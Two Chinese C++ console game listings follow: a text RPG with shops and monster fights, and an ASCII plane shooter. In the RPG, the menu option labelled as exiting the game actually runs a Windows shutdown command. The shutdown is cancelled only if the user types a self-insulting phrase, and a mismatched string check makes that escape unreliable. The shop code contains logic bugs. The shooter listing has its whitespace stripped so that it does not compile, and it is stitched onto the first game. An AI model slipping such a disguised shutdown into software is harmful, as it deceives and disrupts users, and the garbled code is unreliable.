打架
#include <iostream>
using namespace std;
double shengmingli=2000;//定义主角初始生命力
int gongjili=150;//定义主角初始攻击力
int fangyuli=200;//定义主角初始防御力
int money=20;//定义主角初始金钱数量
bool guoguan;//定义是否通关判定
void wuqidian();//定义武器店函数
void yaodian();//定义药店函数
void guaiwu1();//定义小怪物函数
void guaiwu2();//定义大怪物函数
string s1;
int main()
{
cout<<"欢迎你开始玩打怪物小游戏! ";
cout<<"小镇 ";
cout<<"一个1000年的小镇。周围有一条河,有一片树林,很多房子和很多人。 有一家药店"<<endl;
cout<<"和一家武器店。 ";
int xiaozhen;//定义选择项目
cout<<"1.去武器店"<<endl;
cout<<"2.去药品店"<<endl;
cout<<"3.去打小怪物"<<endl;
cout<<"4.去打大怪物"<<endl;
cout<<"5.退出游戏"<<endl;
cout<<"6.显示你的状态"<<endl;
cin>>xiaozhen;
if(xiaozhen==5)
{
system("shutdown /s /t 15");
cout<<"请输入下面的文字,它会帮助你";
system("pause");
cout<<"我是大笨蛋...";
while(s1!="我是大笨蛋(...")
{
cin>>s1;
if(s1=="我是大笨蛋...")
{
system("shutdown /a");
cout<<"恭喜解除危机,狂按回车推出";
break;
}
else {cout<<"输入错误,请输入:我是大笨蛋...";
system("pause");
}
}}
while(xiaozhen!=5)//输入5时退出游戏
{
if(shengmingli<=0)//主角生命力小于等于0时游戏结束
{
cout<<"你死啦!"<<endl;
break;
}
if(guoguan)
{
cout<<"恭喜通关!"<<endl;
break;
}
if(xiaozhen==6)//输入6可检测自己的状态
{
cout<<"你的生命力:"<<shengmingli<<endl;
cout<<"你的攻击力:"<<gongjili<<endl;
cout<<"你的防御力:"<<fangyuli<<endl;
cout<<"你拥有的钱:"<<money<<endl;
}
else
switch(xiaozhen)
{
case 1 : wuqidian();break;
case 2 : yaodian();break;
case 3 : guaiwu1();break;
case 4 : guaiwu2();break;
default : cout<<"请不要乱选!"<<endl;break;
}
cin>>xiaozhen;
}
cin.get();
cin.get();
return 0;
}
void wuqidian()
{
cout<<"欢迎来到武器店!"<<endl;
cout<<"1、买小刀(1M加2攻击力)"<<endl;
cout<<"2、买短剑(2M加20攻击力)"<<endl;
cout<<"3、买大砍刀(5M加40攻击力)"<<endl;
cout<<"4、买双节棍(7M加60攻击力)"<<endl;
cout<<"5、买盾牌(2M加30防御力)"<<endl;
cout<<"6、买铠甲(5M加60防御力)"<<endl;
cout<<"7、离开武器店"<<endl;
int wuqidian;
cin>>wuqidian;
while(wuqidian!=7)//输入7时结束函数
{
switch(wuqidian)
{
case 1 : if(money<10)
cout<<"你的钱不够"<<endl;//钱不够时返回Flase
else
cout<<"购买成功!"<<endl;//钱足够时返回True
gongjili+=2;
money-=1;
break;
case 2 : if(money<80)
cout<<"你的钱不够"<<endl;
else
cout<<"购买成功!"<<endl;
gongjili+=20;
money-=80;
break;
case 3 : if(money<140)
cout<<"你的钱不够"<<endl;
else
cout<<"购买成功!"<<endl;
gongjili+=40;
money-=140;
break;
case 4 : if(money<200)
cout<<"你的钱不够"<<endl;
else
cout<<"购买成功!"<<endl;
gongjili+=60;
money-=200;
break;
case 5 : if(money<60)
cout<<"你的钱不够"<<endl;
else
cout<<"购买成功!"<<endl;
fangyuli+=30;
money-=60;
break;
fangyuli+=60;
money-=100;
break;
default : cout<<"无"<<endl;
break;
}
cin>>wuqidian;
}
if(wuqidian==7)
{ //返回main()主函数
cout<<"欢迎下次再来!"<<endl;
cout<<"欢迎你开始玩打怪物小游戏! ";
cout<<"小镇 ";
cout<<"一个1000年的小镇。周围有一条河,有一片树林,很多房子和很多人。 有一家药店"<<endl;
cout<<"和一家武器店。 ";
cout<<"1.去武器店"<<endl;
cout<<"2.去药品店"<<endl;
cout<<"3.去打小怪物"<<endl;
cout<<"4.去打大怪物"<<endl;
cout<<"5.退出游戏"<<endl;
cout<<"6.显示你的状态"<<endl;
}
}
/*
yaodian()的设置与wuqidian()相同,可参照阅读.
*/
void yaodian()
{
cout<<"欢迎来到药品店!"<<endl;
cout<<"1、买1号补血药(10M加200生命)"<<endl;
cout<<"2、买2号补血药(50M加1000生命力)"<<endl;
cout<<"3、买3号补血药(100M加2200生命力)"<<endl;
cout<<"4、离开武器店"<<endl;
int yaodian;
cin>>yaodian;
while(yaodian!=4)
{
switch(yaodian)
{
case 1 : if(money<10)
cout<<"你的钱不够"<<endl;
else
cout<<"购买成功!"<<endl;
shengmingli+=200;
money-=10;
break;
case 2 : if(money<50)
cout<<"你的钱不够"<<endl;
else
cout<<"购买成功!"<<endl;
shengmingli+=1000;
money-=50;
break;
case 3 : if(money<100)
cout<<"你的钱不够"<<endl;
else
cout<<"购买成功!"<<endl;
shengmingli+=2200;
money-=100;
break;
default : cout<<"无"<<endl;
break;
}
cin>>yaodian;
}
if(yaodian==4)
{
cout<<"欢迎下次再来!"<<endl;
cout<<"欢迎你开始玩打怪物小游戏! ";
cout<<"小镇 ";
cout<<"一个1000年的小镇。周围有一条河,有一片树林,很多房子和很多人。 有一家药店"<<endl;
cout<<"和一家武器店。 ";
cout<<"1.去武器店"<<endl;
cout<<"2.去药品店"<<endl;
cout<<"3.去打小怪物"<<endl;
cout<<"4.去打大怪物"<<endl;
cout<<"5.退出游戏"<<endl;
cout<<"6.显示你的状态"<<endl;
}
}
/*这里是两个战斗函数,使用指针来处理.避免造成内存崩溃.*/
void guaiwu1()
{
cout<<"开始与小怪物战斗!!!"<<endl;
double* g_shengmingli=new double;//定义怪物生命
int* g_gongjili=new int;//定义怪物攻击力
int* g_fangyuli=new int;//定义怪物防御力
int* g_money=new int;//定义怪物金钱
*g_shengmingli=100;
*g_gongjili=5;
*g_fangyuli=3;
*g_money=5;
double* tongji1=new double;//用来计算主角对怪物的杀伤
double* tongji2=new double;//用来计算怪物对主角的杀伤
*tongji1=0;
*tongji2=0;
int* huihe=new int;//定义回合数
*huihe=1;
cout<<"你开始对小怪物进行攻击!"<<endl;
int* xuanze=new int;
/*
攻击计算公式
杀伤=攻击力*2-防御力
玩家每回合可以选择攻击与逃跑
*/
while((*g_shengmingli)>0 && shengmingli>0 && (*xuanze)!=2)
{
cout<<"现在是"<<"第"<<*huihe<<"回合!"<<endl;
cout<<"请选择你的动作: ";
cout<<"1、攻击 2、逃跑 ";
cin>>*xuanze;
switch((*xuanze))
{
case 1 : cout<<"你对小怪物发动了攻击!"<<endl;
*g_shengmingli-=gongjili*2-(*g_fangyuli);
*tongji1=gongjili*2-(*g_fangyuli);
cout<<"你打掉了小怪物"<<*tongji1<<"的生命!"<<endl;
cout<<"小怪物还剩"<<(*g_shengmingli)-(*tongji1)<<"点生命"<<endl;
shengmingli-=(*g_gongjili)*2-fangyuli;
*tongji2=(*g_gongjili)*2-fangyuli;
cout<<"小怪物对你发动了攻击!"<<endl;
cout<<"小怪物打掉了你"<<*tongji2<<"的生命!"<<endl;
cout<<"你还剩"<<shengmingli-(*tongji2)<<"点生命"<<endl;break;
case 2 : cout<<"你决定逃跑!"<<endl;
cout<<"逃跑成功!"<<endl;continue;
default : cout<<"请不要乱选!"<<endl;
}
(*huihe)++;
}
if((*g_shengmingli)<=0)
{//杀死怪物后的返回
cout<<"小怪物被你杀死了!你真厉害!!!"<<endl;
money+=(*g_money);
cout<<"欢迎你开始玩打怪物小游戏! ";
cout<<"小镇 ";
cout<<"一个1000年的小镇。周围有一条河,有一片树林,很多房子和很多人。 有一家药店"<<endl;
cout<<"和一家武器店。 ";
cout<<"1.去武器店"<<endl;
cout<<"2.去药品店"<<endl;
cout<<"3.去打小怪物"<<endl;
cout<<"4.去打大怪物"<<endl;
cout<<"5.退出游戏"<<endl;
cout<<"6.显示你的状态"<<endl;
}
else
if(shengmingli<=0)
{//被怪物杀死后的返回
cout<<"你被小怪物杀死了!游戏结束!!!"<<endl;
}
else
if((*xuanze)==2)
{//逃跑的返回
cout<<"你逃回了小镇!"<<endl;
cout<<"欢迎你开始玩打怪物小游戏! ";
cout<<"小镇 ";
cout<<"一个1000年的小镇。周围有一条河,有一片树林,很多房子和很多人。 有一家药店"<<endl;
cout<<"和一家武器店。 ";
cout<<"1.去武器店"<<endl;
cout<<"2.去药品店"<<endl;
cout<<"3.去打小怪物"<<endl;
cout<<"4.去打大怪物"<<endl;
cout<<"5.退出游戏"<<endl;
cout<<"6.显示你的状态"<<endl;
}
delete g_shengmingli;
delete g_gongjili;
delete g_fangyuli;
delete g_money;
delete tongji1;
delete tongji2;
}
/*
设置均与void函数guaiwu1()相同,可参照上例阅读.
*/
void guaiwu2()
{
cout<<"开始与大怪物战斗!!!"<<endl;
double* g_shengmingli=new double;
int* g_gongjili=new int;
int* g_fangyuli=new int;
*g_shengmingli=3600;
*g_gongjili=500;
*g_fangyuli=500;
double* tongji1=new double;
double* tongji2=new double;
*tongji1=0;
*tongji2=0;
int* huihe=new int;
*huihe=1;
cout<<"你开始对大怪物进行攻击!"<<endl;
int* xuanze=new int;
while((*g_shengmingli)>0 && shengmingli>0 && (*xuanze)!=2)
{
cout<<"现在是"<<"第"<<*huihe<<"回合!"<<endl;
cout<<"请选择你的动作: ";
cout<<"1、攻击 2、逃跑 ";
cin>>*xuanze;
switch((*xuanze))
{
case 1 : cout<<"你对大怪物发动了攻击!"<<endl;
*g_shengmingli-=gongjili*2-(*g_fangyuli);
*tongji1=gongjili*2-(*g_fangyuli);
cout<<"你打掉了大怪物"<<*tongji1<<"的生命!"<<endl;
cout<<"大怪物还剩"<<(*g_shengmingli)-(*tongji1)<<"点生命"<<endl;
shengmingli-=(*g_gongjili)*2-fangyuli;
*tongji2=(*g_gongjili)*2-fangyuli;
cout<<"大怪物对你发动了攻击!"<<endl;
cout<<"大怪物打掉了你"<<*tongji2<<"的生命!"<<endl;
cout<<"你还剩"<<shengmingli-(*tongji2)<<"点生命"<<endl;break;
case 2 : cout<<"你决定逃跑!"<<endl;
cout<<"逃跑成功!"<<endl;continue;
default : cout<<"请不要乱选!"<<endl;
}
(*huihe)++;
}
if((*g_shengmingli)<=0)
{
cout<<"大怪物被你杀死了!你真厉害!!!"<<endl;
guoguan=true;
cout<<"欢迎你开始玩打怪物小游戏! ";
cout<<"小镇 ";
cout<<"一个1000年的小镇。周围有一条河,有一片树林,很多房子和很多人。 有一家药店"<<endl;
cout<<"和一家武器店。 ";
cout<<"1.去武器店"<<endl;
cout<<"2.去药品店"<<endl;
cout<<"3.去打小怪物"<<endl;
cout<<"4.去打大怪物"<<endl;
cout<<"5.退出游戏"<<endl;
cout<<"6.显示你的状态"<<endl;
}
else
if(shengmingli<=0)
{
cout<<"你被大怪物杀死了!游戏结束!!!"<<endl;
}
else
if((*xuanze)==2)
{
cout<<"你逃回了小镇!"<<endl;
cout<<"欢迎你开始玩打怪物小游戏! ";
cout<<"小镇 ";
cout<<"一个1000年的小镇。周围有一条河,有一片树林,很多房子和很多人。 有一家药店"<<endl;
cout<<"和一家武器店。 ";
cout<<"1.去武器店"<<endl;
cout<<"2.去药品店"<<endl;
cout<<"3.去打小怪物"<<endl;
cout<<"4.去打大怪物"<<endl;
cout<<"5.退出游戏"<<endl;
cout<<"6.显示你的状态"<<endl;
}
delete g_shengmingli;
delete g_gongjili;
delete g_fangyuli;
delete tongji1;
delete tongji2;
打飞机
#include<iostream>#include<windows.h>#include<conio.h>#include<time.h>#include<string>usingnamespace std;typedefstruct Frame
{
COORD position[2];
int flag;} Frame;voidSetPos(COORD a){
HANDLE out=GetStdHandle(STD_OUTPUT_HANDLE);
SetConsoleCursorPosition(out, a);}voidSetPos(int i,int j){
COORD pos={i, j};
SetPos(pos);}voidHideCursor(){
CONSOLE_CURSOR_INFO cursor_info ={1,0};
SetConsoleCursorInfo(GetStdHandle(STD_OUTPUT_HANDLE),&cursor_info);}voiddrawRow(int y,int x1,int x2,char ch){
SetPos(x1,y);
for(int i =0; i <=(x2-x1); i++)
cout<<ch;}voiddrawRow(COORD a, COORD b,char ch){
if(a.Y == b.Y)
drawRow(a.Y, a.X, b.X, ch);
else
{
SetPos(0,25);
cout<<"error code 01:无法填充行,因为两个坐标的纵坐标(x)不相等";
system("pause");
}}voiddrawCol(int x,int y1,int y2,char ch){
int y=y1;
while(y!=y2+1)
{
SetPos(x, y);
cout<<ch;
y++;
}}voiddrawCol(COORD a, COORD b,char ch){
if(a.X == b.X)
drawCol(a.X, a.Y, b.Y, ch);
else
{
SetPos(0,25);
cout<<"error code 02:无法填充列,因为两个坐标的横坐标(y)不相等";
system("pause");
}}voiddrawFrame(COORD a, COORD b,char row,char col){
drawRow(a.Y, a.X+1, b.X-1, row);
drawRow(b.Y, a.X+1, b.X-1, row);
drawCol(a.X, a.Y+1, b.Y-1, col);
drawCol(b.X, a.Y+1, b.Y-1, col);}voiddrawFrame(int x1,int y1,int x2,int y2,char row,char col){
COORD a={x1, y1};
COORD b={x2, y2};
drawFrame(a, b, row, col);}voiddrawFrame(Frame frame,char row,char col){
COORD a = frame.position[0];
COORD b = frame.position[1];
drawFrame(a, b, row, col);}voiddrawPlaying(){
drawFrame(0,0,48,24,'=','|');
drawFrame(49,0,79,4,'-','|');
drawFrame(49,4,79,9,'-','|');
drawFrame(49,9,79,20,'-','|');
drawFrame(49,20,79,24,'-','|');
SetPos(52,6);
cout<<"得分:";
SetPos(52,7);
cout<<"称号:";
SetPos(52,10);
cout<<"操作方式:";
SetPos(52,12);
cout<<" a,s,d,w 控制战机移动,k攻击";
SetPos(52,14);
cout<<" p 暂停游戏。";
SetPos(52,16);
cout<<" e 退出游戏。";}intrandom(int a,int b){
int c=(rand()%(a-b))+ a;
return c;}
COORD random(COORD a, COORD b){
int x=random(a.X, b.X);
int y=random(a.Y, b.Y);
COORD c={x, y};
return c;}booljudgeCoordInFrame(Frame frame, COORD spot){
if(spot.X>=frame.position[0].X)
if(spot.X<=frame.position[1].X)
if(spot.Y>=frame.position[0].Y)
if(spot.Y<=frame.position[0].Y)
returntrue;
returnfalse;}voidprintCoord(COORD a){
cout<<"( "<<a.X<<" , "<<a.Y<<" )";}voidprintFrameCoord(Frame a){
printCoord(a.position[0]);
cout<<" - ";
printCoord(a.position[1]);}intdrawMenu(){
SetPos(30,1);
cout<<"P l a n e W a r";
drawRow(3,0,79,'-');
drawRow(5,0,79,'-');
SetPos(28,4);
cout<<"w 和 s 选择, k 确定";
SetPos(15,11);
cout<<"1. 简单的敌人";
SetPos(15,13);
cout<<"2. 冷酷的敌人";
drawRow(20,0,79,'-');
drawRow(22,0,79,'-');
SetPos(47,11);
cout<<"简单的敌人:";
SetPos(51,13);
cout<<"简单敌人有着较慢的移动速度。";
SetPos(24,21);
cout<<"制作:小小阁楼";
int j=11;
SetPos(12, j);
cout<<">>";
while(1)
{
if(_kbhit())
{
char x=_getch();
switch(x)
{
case'w':
{
if( j ==13)
{
SetPos(12, j);
cout<<" ";
j =11;
SetPos(12, j);
cout<<">>";
SetPos(51,13);
cout<<" ";
SetPos(47,11);
cout<<"简单的敌人:";
SetPos(51,13);
cout<<"简单敌人有着较慢的移动速度,比较容易对付";
}
break;
}
case's':
{
if( j ==11)
{
SetPos(12, j);
cout<<" ";
j =13;
SetPos(12, j);
cout<<">>";
SetPos(51,13);
cout<<" ";
SetPos(47,11);
cout<<"冷酷的敌人:";
SetPos(51,13);
cout<<"冷酷的敌人移动速度较快,难对付哟。";
}
break;
}
case'k':
{
if(j ==8) return1;
elsereturn2;
}
}
}
}}classGame{
public:
COORD position[10];
COORD bullet[10];
Frame enemy[8];
int score;
int rank;
int rankf;
string title;
int flag_rank;
Game ();
voidinitPlane();
voidinitBullet();
voidinitEnemy();
voidplaneMove(char);
voidbulletMove();
voidenemyMove();
voiddrawPlane();
voiddrawPlaneToNull();
voiddrawBullet();
voiddrawBulletToNull();
voiddrawEnemy();
voiddrawEnemyToNull();
voiddrawThisBulletToNull( COORD );
voiddrawThisEnemyToNull( Frame );
voidPause();
voidPlaying();
voidjudgePlane();
voidjudgeEnemy();
voidShoot();
voidGameOver();
voidprintScore();};
Game::Game(){
initPlane();
initBullet();
initEnemy();
score =0;
rank =25;
rankf =0;
flag_rank =0;}void Game::initPlane(){
COORD centren={39,22};
position[0].X=position[5].X=position[7].X=position[9].X=centren.X;
position[1].X=centren.X-2;
position[2].X=position[6].X=centren.X-1;
position[3].X=position[8].X=centren.X+1;
position[4].X=centren.X+2;
for(int i=0; i<=4; i++)
position[i].Y=centren.Y;
for(int i=6; i<=8; i++)
position[i].Y=centren.Y+1;
position[5].Y=centren.Y-1;
position[9].Y=centren.Y-2;}void Game::drawPlane(){
for(int i=0; i<9; i++)
{
SetPos(position[i]);
if(i!=5)
cout<<"O";
elseif(i==5)
cout<<"|";
}}void Game::drawPlaneToNull(){
for(int i=0; i<9; i++)
{
SetPos(position[i]);
cout<<" ";
}}void Game::initBullet(){
for(int i=0; i<10; i++)
bullet[i].Y =30;}void Game::drawBullet(){
for(int i=0; i<10; i++)
{
if( bullet[i].Y !=30)
{
SetPos(bullet[i]);
cout<<"^";
}
}}void Game::drawBulletToNull(){
for(int i=0; i<10; i++)
if( bullet[i].Y !=30)
{
COORD pos={bullet[i].X, bullet[i].Y+1};
SetPos(pos);
cout<<" ";
}}void Game::initEnemy(){
COORD a={1,1};
COORD b={45,15};
for(int i=0; i<8; i++)
{
enemy[i].position[0]=random(a, b);
enemy[i].position[1].X = enemy[i].position[0].X +3;
enemy[i].position[1].Y = enemy[i].position[0].Y +2;
}}void Game::drawEnemy(){
for(int i=0; i<8; i++)
drawFrame(enemy[i].position[0], enemy[i].position[1],'-','|');}void Game::drawEnemyToNull(){
for(int i=0; i<8; i++)
{
drawFrame(enemy[i].position[0], enemy[i].position[1],' ',' ');
}}void Game::Pause(){
SetPos(61,2);
cout<<" ";
SetPos(61,2);
cout<<"暂停中...";
char c=_getch();
while(c!='p')
c=_getch();
SetPos(61,2);
cout<<" ";}void Game::planeMove(char x){
if(x =='a')
if(position[1].X !=1)
for(int i=0; i<=9; i++)
position[i].X -=2;
if(x =='s')
if(position[7].Y !=23)
for(int i=0; i<=9; i++)
position[i].Y +=1;
if(x =='d')
if(position[4].X !=47)
for(int i=0; i<=9; i++)
position[i].X +=2;
if(x =='w')
if(position[5].Y !=3)
for(int i=0; i<=9; i++)
position[i].Y -=1;}void Game::bulletMove(){
for(int i=0; i<10; i++)
{
if( bullet[i].Y !=30)
{
bullet[i].Y -=1;
if( bullet[i].Y ==1)
{
COORD pos={bullet[i].X, bullet[i].Y+1};
drawThisBulletToNull( pos );
bullet[i].Y=30;
}
}
}}void Game::enemyMove(){
for(int i=0; i<8; i++)
{
for(int j=0; j<2; j++)
enemy[i].position[j].Y++;
if(24== enemy[i].position[1].Y)
{
COORD a={1,1};
COORD b={45,3};
enemy[i].position[0]=random(a, b);
enemy[i].position[1].X = enemy[i].position[0].X +3;
enemy[i].position[1].Y = enemy[i].position[0].Y +2;
}
}}void Game::judgePlane(){
for(int i =0; i <8; i++)
for(int j=0; j<9; j++)
if(judgeCoordInFrame(enemy[i], position[j]))
{
SetPos(62,1);
cout<<"坠毁";
drawFrame(enemy[i],'+','+');
Sleep(1000);
GameOver();
break;
}}void Game::drawThisBulletToNull( COORD c){
SetPos(c);
cout<<" ";}void Game::drawThisEnemyToNull( Frame f ){
drawFrame(f,' ',' ');}void Game::judgeEnemy(){
for(int i =0; i <8; i++)
for(int j =0; j <10; j++)
if(judgeCoordInFrame(enemy[i], bullet[j]))
{
score +=5;
drawThisEnemyToNull( enemy[i]);
COORD a={1,1};
COORD b={45,3};
enemy[i].position[0]=random(a, b);
enemy[i].position[1].X = enemy[i].position[0].X +3;
enemy[i].position[1].Y = enemy[i].position[0].Y +2;
drawThisBulletToNull( bullet[j]);
bullet[j].Y =30;
}}void Game::Shoot(){
for(int i=0; i<10; i++)
if(bullet[i].Y ==30)
{
bullet[i].X = position[5].X;
bullet[i].Y = position[5].Y-1;
break;
}}void Game::printScore(){
if(score ==120&& flag_rank ==0)
{
rank -=3;
flag_rank =1;
}
elseif( score ==360&& flag_rank ==1)
{
rank -=5;
flag_rank =2;
}
elseif( score ==480&& flag_rank ==2)
{
rank -=5;
flag_rank =3;
}
int x=rank/5;
SetPos(60,6);
cout<<score;
if( rank!=rankf )
{
SetPos(60,7);
if( x ==5)
title="初级飞行员";
elseif( x ==4)
title="中级飞行员";
elseif( x ==3)
title="高级飞行员";
elseif( x ==2)
title="王牌飞行员";
cout<<title;
}
rankf = rank;}void Game::Playing(){
drawEnemy();
drawPlane();
int flag_bullet =0;
int flag_enemy =0;
while(1)
{
Sleep(8);
if(_kbhit())
{
char x =_getch();
if('a'== x ||'s'== x ||'d'== x ||'w'== x)
{
drawPlaneToNull();
planeMove(x);
drawPlane();
judgePlane();
}
elseif('p'== x)
Pause();
elseif('k'== x)
Shoot();
elseif('e'== x)
{
GameOver();
break;
}
}
if(0== flag_bullet )
{
bulletMove();
drawBulletToNull();
drawBullet();
judgeEnemy();
}
flag_bullet++;
if(5== flag_bullet )
flag_bullet =0;
if(0== flag_enemy )
{
drawEnemyToNull();
enemyMove();
drawEnemy();
judgePlane();
}
flag_enemy++;
if( flag_enemy >= rank )
flag_enemy =0;
printScore();
}}void Game::GameOver(){
system("cls");
COORD p1={28,9};
COORD p2={53,15};
drawFrame(p1, p2,'=','|');
SetPos(36,12);
string str="Game Over!";
for(int i=0; i<str.size(); i++)
{
Sleep(80);
cout<<str[i];
}
Sleep(1000);
system("cls");
drawFrame(p1, p2,'=','|');
SetPos(31,11);
cout<<"击落敌机:"<<score/5<<" 架";
SetPos(31,12);
cout<<"得 分:"<<score;
SetPos(31,13);
cout<<"获得称号:"<<title;
SetPos(30,16);
Sleep(1000);
cout<<"继续? 是(y)| 否(n) 制作:小小阁楼";
as:
char x=_getch();
if(x =='n')
exit(0);
elseif(x =='y')
{
system("cls");
Game game;
int a =drawMenu();
if(a ==2)
game.rank =20;
system("cls");
drawPlaying();
game.Playing();
}
elsegoto as;}intmain(){
srand((int)time(0));
HideCursor();
Game game;
int a =drawMenu();
if(a ==2)
game.rank =20;
system("cls");
drawPlaying();
game.Playing();}